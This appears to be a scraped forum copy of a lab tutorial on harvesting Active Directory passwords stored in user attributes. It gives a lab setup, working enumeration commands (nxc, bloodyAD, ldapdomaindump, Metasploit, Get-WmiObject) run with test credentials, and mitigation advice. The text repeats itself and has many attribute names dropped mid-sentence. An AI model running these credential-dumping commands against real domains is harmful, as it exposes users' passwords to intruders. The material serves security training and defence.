geebee
Marketing Strategist
2
MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1
400 XP
In this article, we shall explore different tools & techniques that help us enumerate Active Directory (AD) users’ passwords using which an attacker can expand their access within the organization.
Several critical vulnerabilities in Active Directory (AD) and related services can lead to exposure of password-related information stored in
Table of Contents
Exploitation
Mitigation
Understanding of Active Directory (AD) password attributes:
UserPassword: In Active Directory, the
UnixUserPassword: This field is used when integrating Active Directory with Unix/Linux systems (using services like
unicodePwd: The
msSFU30Password: The
Prerequisites
Lab Setup
In this lab set up, we will create an AD user, then add user description that contains user’s password and provide passwords in “
Create the AD Environment
To simulate an Active Directory environment, you will need a Windows Server 2019 as a Domain Controller (DC) and a client/attacker machine (Windows or Linux) where you can run enumeration and exploitation tools.
Domain Controller
Install Windows Server (2016 or 2019 recommended).
Create an AD user and provide user description
Once the AD environment is setup, open PowerShell in Administrative mode in Windows Server and run the below two commands to create the user “divya” with the user “description” attribute containing the password.
Using “Get-ADUser” utility and a command like below, we can confirm that a user with “
Then navigate to “divya” user’s properties window by following the below steps.
Steps
This action opens “General” tab of “divya” user’s Properties window, wherein the “Description” added can be viewed/confirmed.
Update
Navigate to “Attribute Editor” tab within “
Provide “
Update
Similar to the steps mentioned above in
Select “
Provide “
Alternatively, one can run below command from the PowerShell window that’s opened in
Exploitation
nxc
Run the below command from Kali Linux Root Terminal to Get user descriptions stored in Active Directory using “
Access “
Run below commands to further enumerate sensitive information like passwords.
Enumerate AD users’ descriptions, using the module “
Enumerate userPassword attribute, using the module “
Enumerate unixUserPassword attribute, using the module “
bloodyAD
Run the below command to enumerate all users’ sensitive information that is stored in
Output containing sensitive information like passwords and attacks a user is vulnerable to can be observed in below screenshot.
ldapdomaindump
Run below commands to enumerate complete information about the AD under testing, then navigate to “AD_DUMP” directory and list all the files generated upon running “
Now, access “
MetaSploit
Run MetaSploit Framework Console from Kali Linux Root Terminal using the below command.
Use “
Below output screenshot lists AD users’ information along with their corresponding information stored in AD “
Note: Alternatively, we may use “
Get-WmiObject
Open PowerShell in Administrative Mode in a Windows Client/Attacker Machine. Then, run the below command to enumerate information like “
Mitigation
Vulnerabilities like
Below listed are the Best-Practices to be followed diligently to remediate and resolve the possibility of enumerating AD users’ passwords.
Use Strong Encryption: Ensure that all communications between clients and domain controllers are encrypted (LDAPS, SMB encryption, etc.) to prevent password hashes from being intercepted. Also, disable legacy authentication protocols such as NTLM where possible.
Limit Access to Password Attributes: Use stringent Access Control Lists (ACLs) to restrict access to sensitive attributes like UserPassword, UnixUserPassword, unicodePwd, and msSFU30Password to only trusted & limited number of administrators.
Regularly Audit AD Permissions: Regularly review and audit the permissions on AD objects to ensure that only authorized users and groups can access sensitive fields.
Apply Security Patches: Ensure all AD and associated systems (like Unix integrations) are regularly patched to prevent exploitation of known vulnerabilities.
Monitor for Privilege Escalation: Use monitoring & alerting tools and practices to detect suspicious activities such as privilege escalation, lateral movement and/or attempts to dump credentials.
Author: Srikrishna is a Cybersecurity leader driving security excellence and mentoring teams to enhance security across products, networks, and organizations.. Contact Here
Several critical vulnerabilities in Active Directory (AD) and related services can lead to exposure of password-related information stored in
,
,
, and
attributes. Exploiting these flaws allows attackers to access password hashes or even cleartext passwords there by, significantly increasing the risk of unauthorized access to systems and data. Key attack paths include privilege escalation, improper access control configurations and vulnerabilities in network protocols like SMB or RDP that enable attackers to intercept or access sensitive fields. Notable CVEs that enable such exploits include
,
,
, and
, all of which if exploited, can lead to unauthorized access to critical password fields in AD.
Table of Contents
- Understanding of Active Directory (AD) password attributes
- Prerequisites
- Lab Setup
Exploitation
- nxc
- bloodyAD
- ldapdomaindump
- MetaSploit
- Get-WmiObject
Mitigation
Understanding of Active Directory (AD) password attributes:
UserPassword: In Active Directory, the
field typically refers to the password hash stored for users (NTLM or sometimes Kerberos hashes). These hashes are used to authenticate users without directly storing plaintext passwords. If attackers gain access to these hashes, they can perform offline attacks (e.g., brute force or dictionary attacks) to try and recover the original passwords.
UnixUserPassword: This field is used when integrating Active Directory with Unix/Linux systems (using services like
or
for user authentication). It stores the password hash for Unix-based systems, which is usually a different format (e.g., DES, SHA-512) than Windows hashes.
unicodePwd: The
attribute in Active Directory holds the password for a user in Unicode format (UTF-16). This field is used by AD when passwords are being set or updated. In a typical AD deployment, this field would not be readable directly through normal LDAP queries due to security restrictions.
msSFU30Password: The
attribute is associated with the
integration. This field stores passwords used in Unix environments but integrated into Active Directory, similar to the
attribute. If a system uses SFU, this field will store the password hash in a Unix-compatible format.
Prerequisites
- Windows Server 2019 as Active Directory Domain Controller
- Tools: nxc, bloodyAD, ldapdomaindump, MetaSploit, Get-WmiObject utility
- Kali Linux
- Windows 10/11 – As Client/Attaker Machine
Lab Setup
In this lab set up, we will create an AD user, then add user description that contains user’s password and provide passwords in “
” & “
” attributes.
Create the AD Environment
To simulate an Active Directory environment, you will need a Windows Server 2019 as a Domain Controller (DC) and a client/attacker machine (Windows or Linux) where you can run enumeration and exploitation tools.
Domain Controller
Install Windows Server (2016 or 2019 recommended).
- Promote it to a Domain Controller by adding the “Active Directory Domain Services” role.
- Set up the domain (e.g., “local”).
- Create a domain user with username “raj” and password “Password@1”.
Create an AD user and provide user description
Once the AD environment is setup, open PowerShell in Administrative mode in Windows Server and run the below two commands to create the user “divya” with the user “description” attribute containing the password.
Code:
Import-module ActiveDirectory
Set-ADUser –Identity “divya” –Description “this is a default password =Password@123”Using “Get-ADUser” utility and a command like below, we can confirm that a user with “
” as username has been created along with the description provided.
Code:
Get-ADUser -Identity "divya" -Properties Description | Select-Object Name, DescriptionThen navigate to “divya” user’s properties window by following the below steps.
Steps
- Open “Active Directory Users and Computers (ADUC)” on the Domain Controller.
- Enable the “Advanced Features” view by clicking on “View > Advanced Features”.
- Locate user “
” in the “Users” container. - Right-click on “
” user and go to “Properties”.
This action opens “General” tab of “divya” user’s Properties window, wherein the “Description” added can be viewed/confirmed.
Update
attribute:
Navigate to “Attribute Editor” tab within “
” user’s properties window, select “
” attribute and click on “Edit” button. This action opens “Multi-valued Octet String Editor” pop-up window. Click on “Add” button in the new window opened.
Provide “
” user’s password “
” in it’s Hexadecimal form within “Value” textarea and click on “OK” button in the “Octet String Attribute Editor” pop-up window.
Update
attribute:
Similar to the steps mentioned above in
section, one can select
and update it’s value to
.
Select “
” attribute and click on “Edit” button. This action opens “Multi-valued Octet String Editor” pop-up window. Click on “Add” button in the new window opened.
Provide “
” user’s Unix Password “
” in it’s Hexadecimal form within “Value” textarea and click on “OK” button in the “Octet String Attribute Editor” pop-up window.
Alternatively, one can run below command from the PowerShell window that’s opened in
section to update
user’s Unix Password as
.
Code:
Set-ADUser -Identity "divya" -Replace @{
uidNumber=1001;
gidNumber=1001;
unixHomeDirectory="/home/linux";
loginShell="/bin/bash";
unixUserPassword="admin@123"
}Exploitation
nxc
Run the below command from Kali Linux Root Terminal to Get user descriptions stored in Active Directory using “
” module of “
” tool.
Code:
nxc ldap 192.168.1.48 -u raj -p Password@1 -M user-descAccess “
” tool logs using the below command to revisit the enumerated information at a later time.
Code:
cat /root/.nxc/logs/UserDesc-192.168.1.48-20250120_052352.logRun below commands to further enumerate sensitive information like passwords.
Enumerate AD users’ descriptions, using the module “
”, which at times may contain passwords.
Code:
nxc ldap 192.168.1.48 -u raj -p Password@1 -M get-desc-usersEnumerate userPassword attribute, using the module “
”, from all users in ldap.
Code:
nxc ldap 192.168.1.48 -u raj -p Password@1 -M get-userPassword
Enumerate unixUserPassword attribute, using the module “
”, from all users in ldap.
Code:
nxc ldap ignite.local -u raj -p Password@1 -M get-unixUserPasswordbloodyAD
Run the below command to enumerate all users’ sensitive information that is stored in
and
objectClasses.
Code:
bloodyAD -u raj -p 'Password@1' -d ignite.local --host 192.168.1.48 get search --filter '(|(userPassword=*)(unixUserPassword=*)(unicodePassword=*)(description=*))' --attr userPassword,unixUserPassword,unicodePwd,descriptionOutput containing sensitive information like passwords and attacks a user is vulnerable to can be observed in below screenshot.
ldapdomaindump
Run below commands to enumerate complete information about the AD under testing, then navigate to “AD_DUMP” directory and list all the files generated upon running “
” tool.
Code:
ldapdomaindump -u 'ignite.local\raj' -p Password@1 192.168.1.48 -o AD_DUMP
cd AD_DUMP
ls -alNow, access “
” file using a browser. Observe that the attacker could enumerate AD users’ “
” attribute that gives away user’s password or the attack technique to which the user is vulnerable to.
MetaSploit
Run MetaSploit Framework Console from Kali Linux Root Terminal using the below command.
Use “
” auxiliary module, set all required options and run the module to enumerate all AD users’ information.
Code:
use auxiliary/gather/ldap_query
set action ENUM_ACCOUNTS
set rhosts 192.168.1.48
set username raj
set password Password@1
set domain ignite.local
runBelow output screenshot lists AD users’ information along with their corresponding information stored in AD “
” attribute.
Note: Alternatively, we may use “
” module and enumerate user’s information along with the information stored in AD “
” attribute. Below is the list of commands to execute in sequence and the output screenshot upon running listed commands from Kali Linux Root Terminal.
Code:
use post/windows/gather/enum_ad_user_comments
set session 1
runGet-WmiObject
Open PowerShell in Administrative Mode in a Windows Client/Attacker Machine. Then, run the below command to enumerate information like “
”, “
” and “
” of users’ listed in the command using the “Get-WmiObject” utility.
Code:
Get-WmiObject -Class Win32_UserAccount | Where-Object { $_.Name -in @("raj", "divya") } | Select-Object Name, SID, Domain, DescriptionMitigation
Vulnerabilities like
and
show that
and
attributes themselves may not post a direct threat in all cases. However, there are various attack vectors that can be used to gain the necessary access to retrieve these password-related fields from Active Directory configuration.
Below listed are the Best-Practices to be followed diligently to remediate and resolve the possibility of enumerating AD users’ passwords.
Use Strong Encryption: Ensure that all communications between clients and domain controllers are encrypted (LDAPS, SMB encryption, etc.) to prevent password hashes from being intercepted. Also, disable legacy authentication protocols such as NTLM where possible.
Limit Access to Password Attributes: Use stringent Access Control Lists (ACLs) to restrict access to sensitive attributes like UserPassword, UnixUserPassword, unicodePwd, and msSFU30Password to only trusted & limited number of administrators.
Regularly Audit AD Permissions: Regularly review and audit the permissions on AD objects to ensure that only authorized users and groups can access sensitive fields.
Apply Security Patches: Ensure all AD and associated systems (like Unix integrations) are regularly patched to prevent exploitation of known vulnerabilities.
Monitor for Privilege Escalation: Use monitoring & alerting tools and practices to detect suspicious activities such as privilege escalation, lateral movement and/or attempts to dump credentials.
Author: Srikrishna is a Cybersecurity leader driving security excellence and mentoring teams to enhance security across products, networks, and organizations.. Contact Here